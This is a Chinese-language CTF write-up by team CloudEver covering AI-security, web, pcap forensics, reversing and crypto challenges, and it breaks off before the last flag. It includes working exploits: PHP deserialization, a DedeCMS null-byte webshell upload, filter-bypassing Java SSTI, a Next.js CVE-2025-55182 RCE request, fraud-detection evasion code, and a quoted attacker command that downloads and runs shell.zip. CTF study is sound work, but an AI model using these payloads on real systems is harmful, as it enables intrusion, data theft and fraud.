文章目录
战队信息
战队名称:CloudEver
排名:第74名
总分:1388
题解
AI安全
The Silent Heist
采用方案是不去猜模型参数,而是尽量让伪造样本落在训练数据流形内部
需要真实样本中随机取两条 ,做凸组合,加极小高斯噪声(按各维标准差缩放)避免重复,用训练集的分位数区间(1%~99%)裁剪,防止飘出边界,再用本地训练的 IsolationForest 过滤掉可能异常的候选。累加金额直到总和超过 2,000,000
python
import math
from pathlib import Path
import numpy as np
import pandas as pd
from sklearn.ensemble import IsolationForest
def _detect_columns(df: pd.DataFrame) -> list[str]:
cols = list(df.columns)
if all(c.startswith("f") and c[1:].isdigit() for c in cols):
cols_sorted = sorted(cols, key=lambda c: int(c[1:]))
return cols_sorted
if all(c.startswith("feat_") and c.split("feat_")[-1].isdigit() for c in cols):
cols_sorted = sorted(cols, key=lambda c: int(c.split("feat_")[-1]))
return cols_sorted
return cols
def _mahalanobis_sq(x: np.ndarray, mu: np.ndarray, inv_cov: np.ndarray) -> float:
d = x - mu
return float(d @ inv_cov @ d)
def main() -> int:
class args:
input = "public_ledger.csv"
outfile = "payload.csv"
target_sum = 2_000_000.0
rows = 0
seed = 1337
max_tries = 5_000_000
in_path = Path(args.input)
if not in_path.exists():
raise FileNotFoundError(in_path)
df = pd.read_csv(in_path)
cols = _detect_columns(df)
df = df[cols]
X = df.to_numpy(dtype=np.float64)
rng = np.random.default_rng(args.seed)
iforest = IsolationForest(
n_estimators=400,
max_samples="auto",
contamination="auto",
random_state=42,
n_jobs=-1,
)
iforest.fit(X)
mu = X.mean(axis=0)
cov = np.cov(X, rowvar=False)
cov = cov + np.eye(cov.shape[0]) * 1e-6
inv_cov = np.linalg.inv(cov)
d_train = np.array([_mahalanobis_sq(x, mu, inv_cov) for x in X], dtype=np.float64)
d_thresh = float(np.quantile(d_train, 0.85))
p_lo = np.quantile(X, 0.01, axis=0)
p_hi = np.quantile(X, 0.99, axis=0)
mean_amount = float(X[:, 0].mean())
if args.rows and args.rows > 0:
n_target = args.rows
else:
n_target = int(math.ceil(args.target_sum / max(mean_amount, 1e-9) * 1.08))
def key6(vec: np.ndarray) -> tuple[float, ...]:
return tuple(np.round(vec, 6).tolist())
seen6 = set(key6(row) for row in X)
std = X.std(axis=0)
noise_scale = 0.02
forged: list[np.ndarray] = []
total_amount = 0.0
tries = 0
while len(forged) < n_target and tries < args.max_tries:
tries += 1
i = int(rng.integers(0, X.shape[0]))
j = int(rng.integers(0, X.shape[0]))
if i == j:
continue
a = float(rng.uniform(0.25, 0.75))
cand = a * X[i] + (1.0 - a) * X[j]
noise = rng.normal(0.0, std * noise_scale)
cand = cand + noise
cand = np.clip(cand, p_lo, p_hi)
k6 = key6(cand)
if k6 in seen6:
continue
if _mahalanobis_sq(cand, mu, inv_cov) > d_thresh:
continue
if int(iforest.predict(cand.reshape(1, -1))[0]) != 1:
continue
seen6.add(k6)
forged.append(cand)
total_amount += float(cand[0])
if total_amount >= args.target_sum:
break
if total_amount < args.target_sum:
raise RuntimeError(
f"Failed"
)
out_cols = cols
out_df = pd.DataFrame(np.vstack(forged), columns=out_cols)
out_path = Path(args.outfile)
out_df.to_csv(out_path, index=False, float_format="%.6f")
with out_path.open("a", encoding="utf-8", newline="\n") as f:
f.write("EOF\n")
print("ok")
return 0
if __name__ == "__main__":
main()
得到类似这样的csv
feat_0,feat_1,feat_2,feat_3,feat_4,feat_5,feat_6,feat_7,feat_8,feat_9,feat_10,feat_11,feat_12,feat_13,feat_14,feat_15,feat_16,feat_17,feat_18,feat_19
308.485857743731,22.126953420071,91.913554290017,81.230027364820,43.481064359107,2.136584631823,11.566235695075,49.041563731114,10.639883281460,27.604991544884,38.063238678408,82.505684908151,5.562986057381,80.212196195485,72.950290077330,17.327446783484,28.383302883077,40.833072559546,9.513137029208,27.727190917077
提交即可拿到flag
Web安全
hellogate
通过图片读取源码
php
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();
看到反序列化洞,可以任意读取文件
链条是:A->triggerMethod() 被调用,A 触发 echo,导致 A->handle (即 B 对象) 调用 __toString()。B::__toString() 访问 B->worker (即 C 对象) 的不存在属性 result。C 触发 __get()。C::__get() 执行 file_get_contents(C->cmd),读取我们指定的文件
写一份exp
php
<?php
class A {
public $handle;
}
class B {
public $worker;
public $cmd;
}
class C {
public $cmd;
}
$c = new C();
$c->cmd = '/flag';
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;
echo urlencode(serialize($a));
?>
运行得到结果
O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D
然后发包,读取图片内容作为回显即可得到flag
dedecms
弱口令Aa123456789登陆进/dede后台,查看到php版本为5.2.4,该版本存在文件上传截断问题
上传文件名称为a.php{hex(00)}jpg,内容为木马,然后在目录/uploads/allimg/找到对应文件即可getshell
EzJava
弱密码admin/admin123登陆
功能存在java的ssti,简单测试发现过滤了T,new,flag等关键字,进行相应绕过
找到 File.listRoots() 这个静态无参方法来列根目录
java
[[${''.getClass().forName('java.u'+'til.Ar'+'rays').getMethod('toString', ''.getClass().forName('[Ljava.lang.Ob'+'ject;')).invoke(null, ''.getClass().forName('java.i'+'o.Fi'+'le').getMethod('listRoots').invoke(null)[0].list())}]]
读取目录,得到flag名称
走 URI.create -> Paths.get -> Files.readAllLines 静态链读取flag
java
[[${''.getClass().forName('java.n'+'io.fi'+'le.Files').getMethod('readAllLines', ''.getClass().forName('java.n'+'io.fi'+'le.Path')).invoke(null, ''.getClass().forName('java.n'+'io.fi'+'le.Paths').getMethod('get', ''.getClass().forName('java.n'+'et.URI')).invoke(null, ''.getClass().forName('java.n'+'et.URI').getMethod('create', ''.getClass()).invoke(null, 'file:///fl'+'ag_y0u_d0nt_kn0w')))}]]
redjs
明显是最新的CVE-2025-55182,直接公开POC即可读取flag
POST /apps HTTP/2
Host: eci-2ze7kb7ylndz1kykw8m1.cloudeci1.ichunqiu.com:3000
Next-Action: x
X-Nextjs-Request-Id: 91dmljym
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: hst51Myl5trXfvWsC9Ay6
Content-Length: 696
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
流量分析
SnakeBackdoor-1
环境里没 tshark/scapy,就用 Python 直接读 pcap,按 pcap 头格式切包,再手写以太网/IPv4/TCP 解析,拿到每个包的五元组和 tcp_payload。
先在所有 TCP payload 里搜 POST/GET/HTTP/login/password 之类的关键字,很快定位到 192.168.1.200:5000 的 Web 流量(Werkzeug/Flask)。继续筛到 POST /admin/login,发现同一来源 192.168.1.111 连续提交很多次,明显在跑爆破。
对每个 POST /admin/login,用 \r\n\r\n 分开头部和正文,正文是表单:username=...&password=...,把 password 取出来做列表。然后把每次请求往后匹配同一连接的 HTTP 响应,重组一下 server->client 的 TCP 段读取状态行。
失败基本是 200 OK,页面里带"用户名或密码错误",并且 session 清空;成功的是 302 FOUND,Location 跳到 /admin/panel,还下发有效 session。只有两次是 302,对应的请求体都是 password=zxcvbnm123。
提交:flag{zxcvbnm123}
SnakeBackdoor-2
还是先用 Python 手搓解析 pcap,拿到每个包的 TCP payload。目标端口很明显是 192.168.1.200:5000(Flask/Werkzeug)。
我没直接去猜配置文件泄露,而是先全流量里搜敏感关键词:SECRET_KEY / secret_key / itsdangerous / config.py 这些。命中不多,里面有一条是服务器回给客户端的 HTML(src=192.168.1.200:5000 -> dst=192.168.1.111:55359),包号大概在 28822。
把这个包的完整 payload 拿出来(1460 字节),在里面搜索 SECRET_KEY,能看到一段类似调试输出的配置字典:
'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
因为页面里有 ' 这种 HTML 实体,我做了一次 unescape,再用正则把值扣出来,最后得到的 SECRET_KEY 就是:
flag{c6242af0-6891-4510-8432-e1cdf051f160}
SnakeBackdoor-3
先还是盯 192.168.1.111 -> 192.168.1.200:5000 的 HTTP。把发往 5000 的 TCP payload 扫一遍,重点看有没有 {``{、{% 这种模板符号,很快就抓到两条 POST /admin/preview,其中一条 Content-Length 特别大(4602),明显是注入。
把这条连接按 seq 简单重组,拿到完整请求体。里面是用 url_for.__globals__[...]exec(...) 执行一段 Python,核心就是 base64.b64decode('...')。
接下来就是把它一层层还原:先取出最外层 base64 字符串解码,得到的内容里又定义了一个 lambda,模式基本固定:把某个很长的 bytes 字符串先反转,再 base64 解码,再 zlib 解压,然后 exec。后面重复了很多层,直接写个循环:只要还能匹配到 exec((_)(b'...')) 这种结构,就把里面的 bytes 抠出来继续"反转->b64->zlib"。
跑到最后一层,终于出来一段明文 python 后门源码,里面直接写了密钥:
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
所以这题要的 Key 就是这个字符串。
提交:flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4
流量里能看到多次 POST /admin/*,都带同一个头:X-Token-Auth: 3011aa21232beb7504432bfa90d32779,POST 体是 data=<hex>
data 是 RC4 加密的命令:RC4_SECRET = v1p3r_5tr1k3_k3y(第二题得到)
将 data 先 hex 解码,再用 RC4 解密,能还原出执行链:
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zipunzip -P nf2jd092jd01 -d /tmp /tmp/123.zip(解压密码也在这里)mv /tmp/shell /tmp/python3.13chmod +x /tmp/python3.13/tmp/python3.13(执行)
结论:被执行的后门二进制文件名是 python3.13
flag{python3.13}
SnakeBackdoor-5
通过分析 attack.pcap,发现攻击者(IP: 192.168.1.111)针对目标主机(IP: 192.168.1.200,运行 Flask 应用)发起了多次扫描和攻击。
攻击者利用漏洞使目标主机从恶意文件服务器(192.168.1.201:8080)下载了 shell.zip。压缩包被加密。通过分析 HTTP 流量或尝试常用弱口令,确定密码为 nf2jd092jd01。受感染主机(192.168.1.200)与 C2 服务器(192.168.1.201:58782)建立了 TCP 连接。通信内容被加密,且前 4 个字节固定为种子值。
从 shell.zip 中提取出名为 shell 的 ELF 文件,并进行静态分析。
密钥生成算法
逆向分析显示,恶意软件通过以下步骤生成加密密钥:
- 种子获取: 从 C2 服务器接收 4 字节数据(大端序),转换为整数作为随机数种子。
- 随机数生成: 调用 srand(seed) 初始化随机数生成器。
- 密钥构造: 连续调用 4 次 rand(),将生成的 4 个整数按小端序拼接成 16 字节的 AES 密钥。
从 attack.pcap 的 TCP 流中提取出 C2 服务器发送的种子数据:
- Seed Bytes: 34 95 20 46
- Seed Value: 0x34952046 (十进制: 882188358)
使用 Python 的 ctypes 库模拟 glibc 的 rand() 生成密钥:
python
import ctypes
import struct
libc = ctypes.CDLL("libc.so.6")
# 设置种子
seed = 0x34952046
libc.srand(seed)
# 生成 4 个随机数
r1 = libc.rand()
r2 = libc.rand()
r3 = libc.rand()
r4 = libc.rand()
# 拼接密钥 (小端序)
key = struct.pack("<IIII", r1, r2, r3, r4)
print(f"Key: {key.hex()}")
计算结果:
- r1: 1643857580 (0x61fb46ac)
- r2: 1329279243 (0x4f3b310b)
- r3: 761592882 (0x2d64fc32)
- r4: 1454650504 (0x56b43488)
- Key Hex: ac46fb610b313b4f32fc642d8834b456
使用生成的密钥尝试解密后续的加密流量(AES-ECB 模式),成功解密并还原出通信内容,证实密钥正确。
flag{ac46fb610b313b4f32fc642d8834b456}
SnakeBackdoor-6
通过分析 HTTP 流量(端口 5000),发现攻击者(IP: 192.168.1.111)对目标 Flask 服务器(IP: 192.168.1.200)实施了 SSTI(服务器端模板注入)攻击。
攻击者通过 /admin/preview 接口发送了恶意的 SSTI payload,其中包含了经过 base64 编码和 zlib 压缩的 Python 代码。注入的代码在服务器上植入了一个基于 Flask 的后门,该后门通过 X-Token-Auth 头进行验证,并使用 RC4 算法加密通信(密钥: v1p3r_5tr1k3_k3y)。
通过解密 RC4 后门流量,发现攻击者进一步执行命令下载了一个名为 shell.zip 的文件:
- 命令: curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
- 解压: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
- 执行: ./shell
我们从 PCAP 中提取了 shell.zip,并使用嗅探到的密码 nf2jd092jd01 成功解压出 shell 二进制文件。
逆向 shell ELF 文件发现,它实现了一个自定义的加密通信协议:
- 种子交换: 客户端连接 C2 服务器(192.168.1.201:58782),服务器首先发送 4 字节种子(大端序)。
- 密钥派生: 客户端接收种子后,将其转换为小端序整数,作为 srand() 的种子。随后调用 4 次 glibc 的 rand() 函数生成 4 个 32 位整数。
- 密钥构造: 这 4 个整数按小端序拼接成 16 字节的 SM4 密钥。
虽然二进制文件使用了 SM4 算法结构(包括标准的 FK 和 CK 常量),但它使用了 自定义的 S-Box。此外,它在 S-Box 替换步骤中使用了反转的字节顺序。我们从二进制文件中提取了自定义 S-Box,并实现了一个兼容的解密器。
从 C2 流量(端口 59814 <-> 58782)中提取出服务器发送的种子 0x34952046。
使用 Python ctypes 调用 glibc 生成密钥:
python
import ctypes, struct
libc = ctypes.CDLL("libc.so.6")
seed = 0x46209534
libc.srand(seed)
key = b''.join(struct.pack("<I", libc.rand() & 0xffffffff) for _ in range(4))
# Key: ac46fb610b313b4f32fc642d8834b456
解密 C2 通信
使用提取的密钥和自定义 SM4 算法解密流量。发现攻击者执行了 cat /flag 命令,但为了混淆,使用了 tr 命令替换字符:
命令: cat /flag | tr '1' 'l' | tr '0' 'O'
解密输出: flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}
将混淆字符还原(l -> 1, O -> 0),得到最终 Flag
Flag: flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
逆向工程
babyhame
通过观察文件体积并使用 strings 或 binwalk 分析,发现文件中包含 GDPC 和 Godot 字符串,确认这是一个基于 Godot 引擎 开发的游戏。
Godot 游戏的资源通常打包在 .pck 文件中。对于单文件发布的游戏(如本题),.pck 数据通常被附加在 .exe 文件的末尾。
通过分析文件末尾数据或使用工具(如 Godot RE Tools / gdsdecomp),定位到嵌入的 PCK 数据段并提取出游戏脚本(.gd 或编译后的 .gdc)
重点关注以下脚本文件:
- game_manager.gd(游戏逻辑控制)
- Flag.gd 或相关的验证脚本(负责处理输入验证)
密钥生成逻辑
在 game_manager 脚本中,发现了一个硬编码的初始密钥变量:
javascript
var encryption_key = "FanAglFanAglOoO!"
游戏中存在收集金币的机制(Coin 到 Coin9,共9枚)。分析金币收集的回调函数发现关键逻辑:
当玩家收集完所有金币后,触发密钥变更逻辑,将初始密钥中的字符 'A' 替换为 'B'
最终密钥计算:
初始 Key: FanAglFanAglOoO!
变换操作: replace('A', 'B')
最终 Key: FanBglFanBglOoO!
在 Flag 验证脚本中,分析出验证算法如下:
加密模式: AES-ECB (AESContext.MODE_ECB_ENCRYPT)
输入处理: 获取用户输入的字符串,转换为 UTF-8 字节。
加密过程: 使用 最终 Key 对输入进行 AES 加密。
比对目标: 加密结果转为十六进制字符串(Hex String)后,与硬编码的密文进行比对。
硬编码的密文 (Hex):
d458af702a680ae4d089ce32fc39945d
既然知道了算法(AES-ECB)、密钥(最终 Key)和密文,我们可以直接编写脚本进行逆向解密,无需真正运行游戏去吃金币。
Python 解密脚本
python
from Crypto.Cipher import AES
import binascii
ciphertext_hex = "d458af702a680ae4d089ce32fc39945d"
ciphertext = binascii.unhexlify(ciphertext_hex)
# 原始 Key,逻辑: 收集完金币后 'A' 变为 'B'
key_str = "FanBglFanBglOoO!"
key = key_str.encode('utf-8')
# AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
try:
decrypted_bytes = cipher.decrypt(ciphertext)
print(f"Decrypted Hex: {decrypted_bytes.hex()}")
print(f"Decrypted String (Flag): {decrypted_bytes.decode('utf-8')}")
except Exception as e:
print(f"Error: {e}")
运行解密脚本得到明文:wOW~youAregrEaT!
flag{ wOW~youAregrEaT!}
wasm-login
任务: 恢复一个与登录成功相关的 13 位毫秒级时间戳。
已知条件:登录时间大概在 2025年12月的第三个周末 之后,也就是 周一 (12月22日) 凌晨。登录认证数据的 MD5 校验值 前 16 位为 ccaf33e3512e31f3。使用的用户名和密码为默认的 admin / admin。认证算法逻辑在 WebAssembly (WASM) 文件 release.wasm 中。
通过分析 release.wasm 及其对应的 Source Map (release.wasm.map),我还原了 authenticate 函数的生成逻辑:
最终生成的认证数据是一个 JSON 字符串,格式如下:
json
{"username":"admin","password":"<EncodedPassword>","signature":"<Signature>"}
其中:
- Username: admin
- Password: 经过 自定义 Base64 编码后的字符串。
- Signature: 使用 时间戳 作为密钥,对 {"username":"admin","password":"..."} 进行 自定义 HMAC-SHA256 签名,再经过 自定义 Base64 编码。
- 自定义 Base64 表:
标准 Base64 表被替换为:
NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO密码 admin 编码后为 L0In602=。 - 自定义 HMAC-SHA256:
标准的 HMAC 算法使用异或常量 0x36 (ipad) 和 0x5C (opad)。而本题的实现中修改了这些常量:ipad XOR 常量: 0x76opad XOR 常量: 0x3COuter Hash 顺序: 先输入 innerHash 再输入 opad(与标准 HMAC 相反)。 - 最终校验 (Check):
对生成的 AuthData JSON 字符串计算标准 MD5 哈希。我们的目标是找到一个时间戳,使得该 MD5 哈希以 ccaf33e3512e31f3 开头。
题目提示时间为 2025年12月第三个周末(12月20-21日)后的周一凌晨
- 目标日期: 2025年12月22日 (周一)
- 时间窗口: 考虑北京时间 (UTC+8) 凌晨 00:00 到 06:00
- 时间戳范围: 约 1766332800000 到 1766354400000 (UTC 12月21日 16:00 - 22:00)
高性能爆破脚本 (C语言)
由于搜索空间较大(约 2100 万个毫秒级时间戳),使用 C 语言结合 OpenSSL 库进行优化爆破。
核心代码逻辑:
c
int main(int argc, char **argv) {
const unsigned char target_prefix[8] = {0xcc,0xaf,0x33,0xe3,0x51,0x2e,0x31,0xf3};
const char json_prefix[] = "{\"username\":\"admin\",\"password\":\"L0In602=\",\"signature\":\"";
const char json_suffix[] = "\"}";
for (int64_t ts = start_ms; ts <= end_ms; ++ts) {
char ts_str[32];
sprintf(ts_str, "%lld", ts);
unsigned char sigBytes[32];
custom_hmac_sha256(ts_str, msg_str, sigBytes);
// 自定义 Base64 编码
char signature_b64[45];
custom_b64_encode(sigBytes, signature_b64);
// 拼接 JSON 并计算 MD5
MD5_CTX ctx;
MD5_Init(&ctx);
MD5_Update(&ctx, json_prefix, strlen(json_prefix));
MD5_Update(&ctx, signature_b64, 44);
MD5_Update(&ctx, json_suffix, strlen(json_suffix));
MD5_Final(md5_digest, &ctx);
if (memcmp(md5_digest, target_prefix, 8) == 0) {
printf("FOUND ts=%lld\n", ts);
return 0;
}
}
return 0;
}
在设定的时间范围内运行爆破程序,迅速找到了匹配的时间戳:
- 匹配时间戳: 1766334550699
- 对应时间: 2025-12-22 00:29:10 (UTC+8)
- 完整 MD5: ccaf33e3512e31f32463a566675005c5
题目要求的 Flag 即为该时间戳生成的完整 MD5 校验值(包裹在 flag{} 中)。
flag{ccaf33e3512e31f32463a566675005c5}
Eternum
分析 tcp.pcap 流量与 kworker 二进制文件
tcp.pcap: 包含客户端(kworker)与服务器(192.168.8.160:13337)通信的加密流量。kworker: 客户端程序,是一个经过 UPX 压缩的 64 位 ELF 可执行文件(Go 语言编写)。
通过手动解析 tcp.pcap,发现客户端(192.168.8.178)与服务器(192.168.8.160)建立了 TCP 连接并传输了若干消息。
每个消息都以固定的魔术字节开头:
- Magic: ET3RNUMX (8 bytes)
- Length: Big-endian uint32 (4 bytes)
- Payload: Length 字节的负载数据
消息负载的结构符合 AES-GCM 加密模式:
- Nonce: 前 12 字节
- Ciphertext: 中间部分
- Tag: 后 16 字节
由于 kworker 被 UPX 加壳,我采用了一种动态提取的方法:
- 运行 kworker 并在其解压自身后立即挂起(使用 SIGSTOP)。
- 通过
/proc/<pid>/mem读取其内存映射中的代码段(.text)和只读数据段(.rodata)。 - 重构出一个未压缩的 ELF 文件以供静态分析。
在解压后的内存中,并未直接找到明显的密钥字符串。通过暴力枚举和分析,最终在二进制文件的 .data 段(读写数据段)中发现了一个 32 字节的硬编码密钥。
AES-GCM Key (Hex):
7866714763566a724f57703574554743504651713434386e50446a494c546537
(ASCII: xfqGcVjrOWp5tUGCPFQq448nPDjILTe7)
使用提取出的密钥和从流量中获取的 Nonce/Tag,成功解密了所有消息。解密后的明文是 Protobuf 序列化数据。
Protobuf 消息分析:
通过提取并解析内嵌的 Eternum/etop.proto 描述符,确定了消息结构:
CommandRequest: 服务器发送命令(如 ls, base32)。
CommandResponse: 客户端返回命令执行结果。
在解密后的第 7 条客户端消息(C msg 7)中,发现了一个 Base32 编码的字符串,这是对服务器命令 base32 /var/opt/s*/ 的响应。
加密负载 (Base32):
MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===
对上述 Base32 字符串进行解码:
python
import base64
b32 = "MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU==="
flag = base64.b32decode(b32).decode()
print(flag)
flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}
vvvmmm
运行后输出一段 Elden Ring 的台词+ASCII 图,然后读 48 字节:
input %48c>
输入不对就 Try again~,对了就:
Good.
flag{...}
strings 直接能看到 UPX 特征:
file vvvmmm
strings -a vvvmmm | head
会看到诸如 UPX!、UPX0/UPX1 一类的痕迹。
直接脱壳
upx -d vvvmmm -o unpacked
定位 Unicorn/RISC-V 的关键调用点
在 dump 出来的 x86_64 代码段里(raw binary)用 objdump 直接反汇编并搜 0x296(662):
objdump -D -b binary -m i386:x86-64 --adjust-vma=0x401000 memfd_upx_dump.bin | grep "\$0x296"
能看到类似片段(核心点):
uc_openuc_mem_map(0, 0x1000...)uc_mem_write(0, <riscv_blob>, 0x296)uc_mem_write(0x10000000, input, 0x30)uc_mem_write(0x10001000, key, 0x20)uc_emu_start(begin=0, until=0x296, timeout=0x1e8480, count=0)uc_reg_read(A0)(RISC-V 返回值)
同时能追到两个很关键的指针(在 x86_64 里是 r14/r15):
- RISC-V blob 地址:
0x64c3f0,长度0x296 - key 字符串地址:
0x64c6c0,长度0x20
key 的内容是:
e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ
把 RISC-V blob 拿出来并反汇编
从数据段 dump 里按偏移切出 blob:
- 数据段映射基址:
0x64c000 - blob:
0x64c3f0→ 偏移0x3f0 - key:
0x64c6c0→ 偏移0x6c0
反汇编 RISC-V raw blob(LLVM 工具链很好用):
llvm-objcopy -I binary -O elf64-littleriscv --binary-architecture=riscv64 riscv_blob.bin riscv_blob.elf
llvm-objdump -D --triple=riscv64 --mattr=+c,+m,+a riscv_blob.elf
RISC-V 代码分两段:
A) 生成 12 个 32-bit 掩码,XOR 输入得到 12 个 word(共 48 字节)
- 输入地址:
0x10000000 - 它把输入当成 12 个 little-endian 的 uint32:
in[0..11] - 用一个 PRNG(看起来很花,但本质就是在模
0x13579bdf下不断乘/取模)生成掩码:- 每轮生成一对
(mask_even, mask_odd) - 共 6 轮 → 12 个 mask
- 每轮生成一对
- 得到中间值
W[i] = in[i] XOR mask[i]
PRNG 的初始种子来自 key 的 64-bit hash:
h = 1
h = (31*h + key[i]) mod 2^64
seed_a4 = h
seed_a2 = (h >> 16) (逻辑右移)
B) 把 12 个 W[i] 跟 12 个常量对比
后半段就是:
t = W[i] XOR CONST[i]seqz检查是否为 0- 统计 12 项是否全对
- 全对则返回
a0 = 1,否则a0 = 0
因此目标非常清晰:
让
W[i] == CONST[i],则必过。
于是可以反推输入:
in[i] = CONST[i] XOR mask[i]
直接反推得到输入
12 个 CONST(从 RISC-V 的 lui/addi/xor 直接读出来)为:
W0 = 0x45034f63
W1 = 0x534762d2
W2 = 0x44b36d04
W3 = 0x44c3ed6a
W4 = 0x79bb60b0
W5 = 0x42a1e767
W6 = 0x3edb7e6c
W7 = 0x30e1551d
W8 = 0x4d3abaa4
W9 = 0x6aa29948
W10 = 0x51ce8847
W11 = 0x51623faf
用正确的 64-bit hash 种子跑 PRNG 6 轮,反推出来的48 字节输入是可打印字符串:
fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX
复现脚本:
python
#!/usr/bin/env python3
import struct
KEY = b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ"
MOD = 0x13579bdf
def u32(x): return x & 0xffffffff
def u64(x): return x & 0xffffffffffffffff
def remuw(rs1, rs2):
a = u32(rs1); b = u32(rs2)
return u32(a % b)
def remu(rs1, rs2):
a = u64(rs1); b = u64(rs2)
return a % b
def mul(rs1, rs2):
return u64(u64(rs1) * u64(rs2))
def mulhu(rs1, rs2):
return (u64(rs1) * u64(rs2)) >> 64
def hash64(key: bytes) -> int:
h = 1
for b in key:
h = u64(31*h + b)
return h
def prng_step(a2, a4):
# 复刻 RISC-V 里 0x74..0x184 那段(只保留数值计算)
a3 = MOD
a5 = MOD
s0 = s1 = s2 = s3 = s4 = t0 = t1 = t2 = t3 = t4 = t5 = t6 = MOD
a2 = remuw(a2, a3)
a3 = remuw(a4, MOD)
a4 = remuw(a2, MOD)
a5 = remuw(a3, MOD)
A2s = u64(a2 << 32)
A4s = u64(a4 << 32)
a4 = remu(mulhu(A4s, A2s), MOD)
A3s = u64(a3 << 32)
A5s = u64(a5 << 32)
a5 = remu(mulhu(A5s, A3s), MOD)
a2 = u64(A2s >> 32)
a3 = u64(A3s >> 32)
a4 = remu(mul(a4, a2), MOD)
a5 = remu(mul(a5, a3), MOD)
# 后面很多次 mul/remu,模数都等于 MOD
for _ in range(8):
a4 = remu(mul(a4, a2), MOD)
a5 = remu(mul(a5, a3), MOD)
a2 = remu(mul(a4, a2), MOD)
a4 = remu(mul(a5, a3), MOD)
return u32(a2), u32(a4)
def main():
h = hash64(KEY)
a4 = h
a2 = (h >> 16)
# 目标 12 个 word(从 RISC-V 后半段 xor 常量反推)
W = [
0x45034f63, 0x534762d2, 0x44b36d04, 0x44c3ed6a,
0x79bb60b0, 0x42a1e767, 0x3edb7e6c, 0x30e1551d,
0x4d3abaa4, 0x6aa29948, 0x51ce8847, 0x51623faf,
]
masks = []
for _ in range(6):
a2, a4 = prng_step(a2, a4)
masks.append((a2, a4))
inp_words = []
for k, (me, mo) in enumerate(masks):
inp_words.append(u32(W[2*k] ^ me))
inp_words.append(u32(W[2*k+1] ^ mo))
payload = b"".join(struct.pack("<I", w) for w in inp_words)
s = payload.decode("ascii")
print("input =", s)
print("flag{"+s+"}")
if __name__ == "__main__":
main()
所以最终 flag: flag{fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX}
密码学
EzFlag
通过 strings 命令分析二进制文件,发现了关键字符串:
- 提示信息: Enter password:
- 硬编码密码: V3ryStr0ngp@ssw0rd
- Flag 前缀: flag{
- 常量字符串 (K): 012ab9c3478d56ef (用于生成 Flag 字符的映射表)
通过 objdump 反汇编 main 函数和辅助函数 f,梳理出程序逻辑:
- 密码验证: 程序读取用户输入并与 V3ryStr0ngp@ssw0rd 比较。如果匹配,进入 Flag 生成流程。
- 种子初始化: 初始种子 seed 设为 1。
- 循环生成字符:循环 32 次。每次调用函数 f(seed) 获取一个字符。更新种子:seed = (seed * 8) + (i + 0x40)。在索引 7, 12, 17, 22 处插入连字符 -。
- 函数 f(n):计算斐波那契数列的第 n 项模 16 的值 (F_n % 16)。使用该值作为索引,从字符串 K ("012ab9c3478d56ef") 中查找对应的字符并返回。
斐波那契数列模 16 是周期性的(Pisano Period),其周期长度为 24。我们可以预计算这个序列:
F_mod16 = [0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1]
由于直接运行原程序受限于环境且计算量可能过大(虽然这里有 Sleep),我们用 Python 脚本模拟生成逻辑:
python
K = "012ab9c3478d56ef"
mask = (1 << 64) - 1
# 计算斐波那契数列模 16 (周期 24)
F_mod = []
a, b = 0, 1
for _ in range(24):
F_mod.append(a)
a, b = b, (a + b) % 16
def get_char(seed):
idx = F_mod[seed % 24]
return K[idx]
seed = 1
flag_chars = []
for i in range(32):
char = get_char(seed)
flag_chars.append(char)
if i in [7, 12, 17, 22]:
flag_chars.append('-')
# 更新种子:seed = seed * 8 + (i + 0x40)
seed = ((seed << 3) + (i + 0x40)) & mask
final_flag = "flag{" + "".join(flag_chars) + "}"
print(f"Flag: {final_flag}")
运行脚本得到的 Flag 为:
